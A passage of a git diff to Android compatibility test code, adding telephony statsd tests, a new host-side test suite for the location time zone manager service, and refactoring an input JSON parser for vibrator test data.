+ AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+ for (EventMetricData d : data) {
+ AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+ if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+ airplaneModeEnabledAtom = atom;
+ }
+ if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+ airplaneModeDisabledAtom = atom;
+ }
+ }
+ assertThat(airplaneModeEnabledAtom).isNotNull();
+ assertThat(airplaneModeDisabledAtom).isNotNull();
+ assertThat(airplaneModeDisabledAtom.getShortToggle()).isFalse();
+ }
+
+ public void testModemRestart() throws Exception {
+ if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ AtomsProto.Atom.MODEM_RESTART_FIELD_NUMBER);
+
+ // Restart modem. If the command fails, exit the test case.
+ boolean restart = restartModem();
+ if (!restart) {
+ return;
+ }
+
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+ // Verify that we have at least one atom for modem restart
+ List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+ assertThat(data).isNotEmpty();
+ }
+
private boolean hasGsmPhone() throws Exception {
// Not using log entries or ServiceState in the dump since they may or may not be present,
// which can make the test flaky
@@ -197,6 +305,12 @@
return Math.toIntExact(count);
}
+ private Queue<String> getTelephonyDumpEntries() throws Exception {
+ String response =
+ getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
+ return new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
+ }
+
/**
* Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
* output.
@@ -212,9 +326,7 @@
Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
// Matches pattern for key-value pairs, e.g. " mPhoneId=1"
Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
- String response =
- getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
- Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
+ Queue<String> responseLines = getTelephonyDumpEntries();
List<Map<String, String>> results = new ArrayList<>();
while (responseLines.peek() != null) {
@@ -245,4 +357,32 @@
}
return results;
}
+
+ private int getCarrierIdTableVersion() throws Exception {
+ Queue<String> responseLines = getTelephonyDumpEntries();
+ for (String line : responseLines) {
+ if (line.contains("carrier_list_version")) {
+ String version = line.replaceFirst("^\\s*carrier_list_version:\\s*", "");
+ try {
+ return Integer.parseInt(version);
+ } catch (NumberFormatException e) {
+ return 0;
+ }
+ }
+ }
+ return 0;
+ }
+
+ private void turnOnAirplaneMode() throws Exception {
+ getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
+ }
+
+ private void turnOffAirplaneMode() throws Exception {
+ getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
+ }
+
+ private boolean restartModem() throws Exception {
+ String response = getDevice().executeShellCommand("cmd phone restart-modem");
+ return response.contains("true");
+ }
}
diff --git a/hostsidetests/time/Android.bp b/hostsidetests/time/Android.bp
new file mode 100644
index 0000000..4a17818
--- /dev/null
+++ b/hostsidetests/time/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsLocationTimeZoneManagerHostTest",
+ srcs: ["host/src/**/*.java"],
+ libs: ["cts-tradefed", "tradefed"],
+ test_suites: ["general-tests", "cts"],
+ test_config: "host/AndroidTest.xml",
+}
diff --git a/hostsidetests/time/OWNERS b/hostsidetests/time/OWNERS
new file mode 100644
index 0000000..a81fa72
--- /dev/null
+++ b/hostsidetests/time/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 847766
+nfuller@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/hostsidetests/time/TEST_MAPPING b/hostsidetests/time/TEST_MAPPING
new file mode 100644
index 0000000..1ce59ee
--- /dev/null
+++ b/hostsidetests/time/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsLocationTimeZoneManagerHostTest"
+ }
+ ]
+}
diff --git a/hostsidetests/time/host/AndroidTest.xml b/hostsidetests/time/host/AndroidTest.xml
new file mode 100644
index 0000000..404f44d
--- /dev/null
+++ b/hostsidetests/time/host/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Host test for location_time_zone_manager service">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <test class="com.android.tradefed.testtype.HostTest" >
+ <option name="class" value="android.time.cts.host.LocationTimeZoneManagerHostTest" />
+ </test>
+</configuration>
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
new file mode 100644
index 0000000..dab7e33
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationManager service shell commands.
+ */
+final class LocationManager {
+
+ /**
+ * The name of the service for shell commands,
+ */
+ static final String SHELL_COMMAND_SERVICE_NAME = "location";
+
+ /**
+ * A shell command that sets the current user's "location enabled" setting value.
+ */
+ static final String SHELL_COMMAND_SET_LOCATION_ENABLED = "set-location-enabled";
+
+ /**
+ * A shell command that gets the current user's "location enabled" setting value.
+ */
+ static final String SHELL_COMMAND_IS_LOCATION_ENABLED = "is-location-enabled";
+
+ private LocationManager() {
+ // No need to instantiate.
+ }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
new file mode 100644
index 0000000..ba24123
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManager.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationTimeZoneManager service that are used by shell commands and
+ * tests.
+ *
+ * <p>See {@link android.app.time.LocationTimeZoneManager} for the device-side class that holds
+ * this information.
+ *
+ * @hide
+ */
+final class LocationTimeZoneManager {
+
+ /**
+ * The name of the primary location time zone provider, used for shell commands.
+ */
+ static final String PRIMARY_PROVIDER_NAME = "primary";
+
+ /**
+ * The name of the secondary location time zone provider, used for shell commands.
+ */
+ static final String SECONDARY_PROVIDER_NAME = "secondary";
+
+ /**
+ * The name of the service for shell commands.
+ */
+ static final String SHELL_COMMAND_SERVICE_NAME = "location_time_zone_manager";
+
+ /**
+ * A shell command that starts the service (after stop).
+ */
+ static final String SHELL_COMMAND_START = "start";
+
+ /**
+ * A shell command that stops the service.
+ */
+ static final String SHELL_COMMAND_STOP = "stop";
+
+ /**
+ * A shell command that can put providers into different modes. Takes effect next time the
+ * service is started.
+ */
+ static final String SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE = "set_provider_mode_override";
+
+ /**
+ * The default provider mode.
+ * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+ */
+ static final String PROVIDER_MODE_OVERRIDE_NONE = "none";
+
+ /**
+ * The "simulated" provider mode.
+ * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+ */
+ static final String PROVIDER_MODE_OVERRIDE_SIMULATED = "simulated";
+
+ /**
+ * The "disabled" provider mode (equivalent to there being no provider configured).
+ * For use with {@link #SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE}.
+ */
+ static final String PROVIDER_MODE_OVERRIDE_DISABLED = "disabled";
+
+ /**
+ * A shell command that tells the service to record state information during tests. The next
+ * argument value is "true" or "false".
+ */
+ static final String SHELL_COMMAND_RECORD_PROVIDER_STATES = "record_provider_states";
+
+ /**
+ * A shell command that tells the service to dump its current state.
+ */
+ static final String SHELL_COMMAND_DUMP_STATE = "dump_state";
+
+ /**
+ * Option for {@link #SHELL_COMMAND_DUMP_STATE} that tells it to dump state as a binary proto.
+ */
+ static final String DUMP_STATE_OPTION_PROTO = "proto";
+
+ /**
+ * A shell command that sends test commands to a provider
+ */
+ static final String SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND =
+ "send_provider_test_command";
+
+ /**
+ * Simulated provider test command that simulates the bind succeeding.
+ */
+ static final String SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND = "on_bind";
+
+ /**
+ * Simulated provider test command that simulates a successful time zone detection.
+ */
+ static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS = "success";
+
+ /**
+ * Argument for {@link #SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS} to specify TZDB time zone IDs.
+ */
+ static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ = "tz";
+
+ private LocationTimeZoneManager() {
+ // No need to instantiate.
+ }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
new file mode 100644
index 0000000..5cab935
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_IS_LOCATION_ENABLED;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED;
+import static android.time.cts.host.LocationTimeZoneManager.DUMP_STATE_OPTION_PROTO;
+import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_NAME;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_DISABLED;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_NONE;
+import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_SIMULATED;
+import static android.time.cts.host.LocationTimeZoneManager.SECONDARY_PROVIDER_NAME;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_DUMP_STATE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_RECORD_PROVIDER_STATES;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_START;
+import static android.time.cts.host.LocationTimeZoneManager.SHELL_COMMAND_STOP;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS;
+import static android.time.cts.host.LocationTimeZoneManager.SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_GEO_DETECTION_ENABLED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.time.LocationTimeZoneManagerServiceStateProto;
+import android.app.time.TimeZoneProviderStateEnum;
+import android.app.time.TimeZoneProviderStateProto;
+
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.google.protobuf.Parser;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.List;
+
+/** Host-side CTS tests for the location time zone manager service. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationTimeZoneManagerHostTest extends BaseHostJUnit4Test {
+
+ /**
+ * The values to use to return a provider to "enabled". It doesn't matter what it is providing
+ * it isn't one of the known mode values.
+ */
+ private static final String PROVIDER_MODE_ENABLED = "\"\"";
+
+ private boolean mOriginalLocationEnabled;
+ private boolean mOriginalAutoDetectionEnabled;
+ private boolean mOriginalGeoDetectionEnabled;
+
+ @Before
+ public void setUp() throws Exception {
+ assumeGeoDetectionSupported();
+
+ // All tests start with the location_time_zone_manager disabled so that providers can be
+ // configured.
+ stopLocationTimeZoneManagerService();
+
+ // Make sure locations is enabled, otherwise the geo detection feature will be disabled
+ // whatever the geolocation detection setting is set to.
+ mOriginalLocationEnabled = isLocationEnabledForCurrentUser();
+ if (!mOriginalLocationEnabled) {
+ setLocationEnabledForCurrentUser(true);
+ }
+
+ // Make sure automatic time zone detection is enabled, otherwise the geo detection feature
+ // will be disabled whatever the geolocation detection setting is set to
+ mOriginalAutoDetectionEnabled = isAutoDetectionEnabled();
+ if (!mOriginalAutoDetectionEnabled) {
+ setAutoDetectionEnabled(true);
+ }
+
+ // Make sure geolocation time zone detection is enabled.
+ mOriginalGeoDetectionEnabled = isGeoDetectionEnabled();
+ if (!mOriginalGeoDetectionEnabled) {
+ setGeoDetectionEnabled(true);
+ }
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ stopLocationTimeZoneManagerService();
+ setProviderOverrideMode(PRIMARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_NONE);
+ setProviderOverrideMode(SECONDARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_NONE);
+
+ // Reset settings.
+ if (!mOriginalGeoDetectionEnabled) {
+ setGeoDetectionEnabled(false);
+ }
+ if (!mOriginalAutoDetectionEnabled) {
+ setAutoDetectionEnabled(false);
+ }
+ if (!mOriginalLocationEnabled) {
+ setLocationEnabledForCurrentUser(false);
+ }
+
+ startLocationTimeZoneManagerService();
+ }
+
+ @Test
+ public void testSecondarySuggestion() throws Exception {
+ setProviderOverrideMode(PRIMARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_DISABLED);
+ setProviderOverrideMode(SECONDARY_PROVIDER_NAME, PROVIDER_MODE_OVERRIDE_SIMULATED);
+ startLocationTimeZoneManagerService();
+ setLocationTimeZoneManagerStateRecordingMode(true);
+
+ simulateProviderBind(SECONDARY_PROVIDER_NAME);
+ simulateProviderSuggestion(SECONDARY_PROVIDER_NAME, "Europe/London");
+
+ LocationTimeZoneManagerServiceStateProto serviceState =
+ dumpLocationTimeZoneManagerServiceState();
+ assertEquals(Arrays.asList("Europe/London"),
+ serviceState.getLastSuggestion().getZoneIdsList());
+
+ List<TimeZoneProviderStateProto> secondaryStates =
+ serviceState.getSecondaryProviderStatesList();
+ assertEquals(1, secondaryStates.size());
+ assertEquals(TimeZoneProviderStateEnum.TIME_ZONE_PROVIDER_STATE_CERTAIN,
+ secondaryStates.get(0).getState());
+ }
+
+ private LocationTimeZoneManagerServiceStateProto dumpLocationTimeZoneManagerServiceState()
+ throws Exception {
+ byte[] protoBytes = executeLocationTimeZoneManagerCommand(
+ "%s --%s", SHELL_COMMAND_DUMP_STATE, DUMP_STATE_OPTION_PROTO);
+ Parser<LocationTimeZoneManagerServiceStateProto> parser =
+ LocationTimeZoneManagerServiceStateProto.parser();
+ return parser.parseFrom(protoBytes);
+ }
+
+ private void setLocationTimeZoneManagerStateRecordingMode(boolean enabled) throws Exception {
+ String command = String.format("%s %s", SHELL_COMMAND_RECORD_PROVIDER_STATES, enabled);
+ executeLocationTimeZoneManagerCommand(command);
+ }
+
+ private boolean isLocationEnabledForCurrentUser() throws Exception {
+ byte[] result = executeLocationManagerCommand(SHELL_COMMAND_IS_LOCATION_ENABLED);
+ return parseShellCommandBytesAsBoolean(result);
+ }
+
+ private void setLocationEnabledForCurrentUser(boolean enabled) throws Exception {
+ executeLocationManagerCommand(
+ "%s %s", SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
+ }
+
+ private boolean isAutoDetectionEnabled() throws Exception {
+ byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED);
+ return parseShellCommandBytesAsBoolean(result);
+ }
+
+ private static boolean parseShellCommandBytesAsBoolean(byte[] result) {
+ String resultString = new String(result, 0, result.length, StandardCharsets.ISO_8859_1);
+ if (resultString.startsWith("true")) {
+ return true;
+ } else if (resultString.startsWith("false")) {
+ return false;
+ } else {
+ throw new AssertionError("Command returned unexpected result: " + resultString);
+ }
+ }
+
+ private void setAutoDetectionEnabled(boolean enabled) throws Exception {
+ executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED, enabled);
+ }
+
+ private boolean isGeoDetectionEnabled() throws Exception {
+ byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_GEO_DETECTION_ENABLED);
+ return parseShellCommandBytesAsBoolean(result);
+ }
+
+ private void setGeoDetectionEnabled(boolean enabled) throws Exception {
+ executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_GEO_DETECTION_ENABLED, enabled);
+ }
+
+ private void assumeGeoDetectionSupported() throws Exception {
+ assumeTrue(isGeoDetectionSupported());
+ }
+
+ private boolean isGeoDetectionSupported() throws Exception {
+ byte[] result = executeTimeZoneDetectorCommand(
+ TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED);
+ return parseShellCommandBytesAsBoolean(result);
+ }
+
+ private void startLocationTimeZoneManagerService() throws Exception {
+ executeLocationTimeZoneManagerCommand(SHELL_COMMAND_START);
+ }
+
+ private void stopLocationTimeZoneManagerService() throws Exception {
+ executeLocationTimeZoneManagerCommand(SHELL_COMMAND_STOP);
+ }
+
+ private void setProviderOverrideMode(String providerName, String mode) throws Exception {
+ executeLocationTimeZoneManagerCommand(
+ "%s %s %s", SHELL_COMMAND_SET_PROVIDER_MODE_OVERRIDE, providerName, mode);
+ }
+
+ private void simulateProviderSuggestion(String providerName, String... zoneIds)
+ throws Exception {
+ String timeZoneIds = String.join("&", zoneIds);
+ String testCommand = String.format("%s %s=string_array:%s",
+ SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS,
+ SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ,
+ timeZoneIds);
+ executeProviderTestCommand(providerName, testCommand);
+ }
+
+ private void simulateProviderBind(String providerName) throws Exception {
+ executeProviderTestCommand(providerName, SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND);
+ }
+
+ private void executeProviderTestCommand(String providerName, String testCommand)
+ throws Exception {
+ executeLocationTimeZoneManagerCommand("%s %s %s",
+ SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND, providerName, testCommand);
+ }
+
+ private byte[] executeLocationManagerCommand(String cmd, Object... args)
+ throws Exception {
+ String command = String.format(cmd, args);
+ return executeShellCommandReturnBytes("cmd %s %s",
+ LocationManager.SHELL_COMMAND_SERVICE_NAME, command);
+ }
+
+ private byte[] executeLocationTimeZoneManagerCommand(String cmd, Object... args)
+ throws Exception {
+ String command = String.format(cmd, args);
+ return executeShellCommandReturnBytes("cmd %s %s",
+ LocationTimeZoneManager.SHELL_COMMAND_SERVICE_NAME, command);
+ }
+
+ private byte[] executeTimeZoneDetectorCommand(String cmd, Object... args) throws Exception {
+ String command = String.format(cmd, args);
+ return executeShellCommandReturnBytes("cmd %s %s",
+ TimeZoneDetector.SHELL_COMMAND_SERVICE_NAME, command);
+ }
+
+ private byte[] executeShellCommandReturnBytes(String cmd, Object... args) throws Exception {
+ CollectingByteOutputReceiver bytesReceiver = new CollectingByteOutputReceiver();
+ getDevice().executeShellCommand(String.format(cmd, args), bytesReceiver);
+ return bytesReceiver.getOutput();
+ }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
new file mode 100644
index 0000000..7265d85
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the TimeZoneDetector service.
+ *
+ * <p>See {@link android.app.timezonedetector.TimeZoneDetector} for the device-side class that holds
+ * this information.
+ */
+interface TimeZoneDetector {
+
+ /**
+ * The name of the service for shell commands.
+ * @hide
+ */
+ String SHELL_COMMAND_SERVICE_NAME = "time_zone_detector";
+
+ /**
+ * A shell command that prints the current "auto time zone detection" global setting value.
+ * @hide
+ */
+ String SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED = "is_auto_detection_enabled";
+
+ /**
+ * A shell command that sets the current "auto time zone detection" global setting value.
+ * @hide
+ */
+ String SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED = "set_auto_detection_enabled";
+
+ /**
+ * A shell command that prints whether the geolocation-based time zone detection feature is
+ * supported on the device.
+ * @hide
+ */
+ String SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED = "is_geo_detection_supported";
+
+ /**
+ * A shell command that prints the current user's "location-based time zone detection enabled"
+ * setting.
+ * @hide
+ */
+ String SHELL_COMMAND_IS_GEO_DETECTION_ENABLED = "is_geo_detection_enabled";
+
+ /**
+ * A shell command that sets the current user's "location-based time zone detection enabled"
+ * setting.
+ * @hide
+ */
+ String SHELL_COMMAND_SET_GEO_DETECTION_ENABLED = "set_geo_detection_enabled";
+
+ /**
+ * A shell command that injects a geolocation time zone suggestion (as if from the
+ * location_time_zone_manager).
+ * @hide
+ */
+ String SHELL_COMMAND_SUGGEST_GEO_LOCATION_TIME_ZONE = "suggest_geo_location_time_zone";
+
+ /**
+ * A shell command that injects a manual time zone suggestion (as if from the SettingsUI or
+ * similar).
+ * @hide
+ */
+ String SHELL_COMMAND_SUGGEST_MANUAL_TIME_ZONE = "suggest_manual_time_zone";
+
+ /**
+ * A shell command that injects a telephony time zone suggestion (as if from the phone app).
+ * @hide
+ */
+ String SHELL_COMMAND_SUGGEST_TELEPHONY_TIME_ZONE = "suggest_telephony_time_zone";
+}
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index 0b4882a..da566c5 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -111,8 +111,8 @@
}
// Clear activity
device.executeShellCommand(CLEAR_COMMAND);
- // No mobile data or wifi or bluetooth to start with
- device.executeShellCommand("svc data disable; svc wifi disable; svc bluetooth disable");
+ // No mobile data or wifi to start with
+ device.executeShellCommand("svc data disable; svc wifi disable");
// Clear logcat.
device.executeAdbCommand("logcat", "-c");
// Ensure the screen is on, so that rssi polling happens
diff --git a/libs/input/src/com/android/cts/input/InputJsonParser.java b/libs/input/src/com/android/cts/input/InputJsonParser.java
index 8d82203..053bf08 100644
--- a/libs/input/src/com/android/cts/input/InputJsonParser.java
+++ b/libs/input/src/com/android/cts/input/InputJsonParser.java
@@ -16,10 +16,11 @@
package com.android.cts.input;
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertEquals;
import android.content.Context;
import android.util.ArrayMap;
+import android.util.SparseArray;
import android.view.InputDevice;
import android.view.InputEvent;
import android.view.KeyEvent;
@@ -186,6 +187,30 @@
}
}
+ private List<Long> getLongList(JSONArray array) {
+ List<Long> data = new ArrayList<Long>();
+ for (int i = 0; i < array.length(); i++) {
+ try {
+ data.add(array.getLong(i));
+ } catch (JSONException e) {
+ throw new RuntimeException("Could not read array index " + i);
+ }
+ }
+ return data;
+ }
+
+ private List<Integer> getIntList(JSONArray array) {
+ List<Integer> data = new ArrayList<Integer>();
+ for (int i = 0; i < array.length(); i++) {
+ try {
+ data.add(array.getInt(i));
+ } catch (JSONException e) {
+ throw new RuntimeException("Could not read array index " + i);
+ }
+ }
+ return data;
+ }
+
private InputEvent parseInputEvent(int testCaseNumber, int source, JSONObject entry) {
try {
InputEvent event;
@@ -252,7 +277,7 @@
JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
- assertTrue(durationsArray.length() == amplitudesArray.length());
+ assertEquals(durationsArray.length(), amplitudesArray.length());
testData.durations = new ArrayList<Long>();
testData.amplitudes = new ArrayList<Integer>();
for (int i = 0; i < durationsArray.length(); i++) {
@@ -287,15 +312,42 @@
UinputVibratorTestData testData = new UinputVibratorTestData();
try {
JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
-
JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
JSONArray amplitudesArray = testcaseEntry.getJSONArray("amplitudes");
- assertTrue(durationsArray.length() == amplitudesArray.length());
- testData.durations = new ArrayList<Long>();
- testData.amplitudes = new ArrayList<Integer>();
- for (int i = 0; i < durationsArray.length(); i++) {
- testData.durations.add(durationsArray.getLong(i));
- testData.amplitudes.add(amplitudesArray.getInt(i));
+ assertEquals("Duration array length not equal to amplitude array length",
+ durationsArray.length(), amplitudesArray.length());
+ testData.durations = getLongList(durationsArray);
+ testData.amplitudes = getIntList(amplitudesArray);
+ tests.add(testData);
+ } catch (JSONException e) {
+ throw new RuntimeException("Could not process entry " + testCaseNumber);
+ }
+ }
+ return tests;
+ }
+
+ /**
+ * Read json resource, and return a {@code List} of UinputVibratorManagerTestData, which
+ * contains the vibrator Ids and FF effect of durations and amplitudes.
+ */
+ public List<UinputVibratorManagerTestData> getUinputVibratorManagerTestData(int resourceId) {
+ JSONArray json = getJsonArrayFromResource(resourceId);
+ List<UinputVibratorManagerTestData> tests = new ArrayList<UinputVibratorManagerTestData>();
+ for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+ UinputVibratorManagerTestData testData = new UinputVibratorManagerTestData();
+ try {
+ JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+ JSONArray durationsArray = testcaseEntry.getJSONArray("durations");
+ testData.durations = getLongList(durationsArray);
+ testData.amplitudes = new SparseArray<>();
+ JSONObject amplitudesObj = testcaseEntry.getJSONObject("amplitudes");
+ for (int i = 0; i < amplitudesObj.names().length(); i++) {
+ String vibratorId = amplitudesObj.names().getString(i);
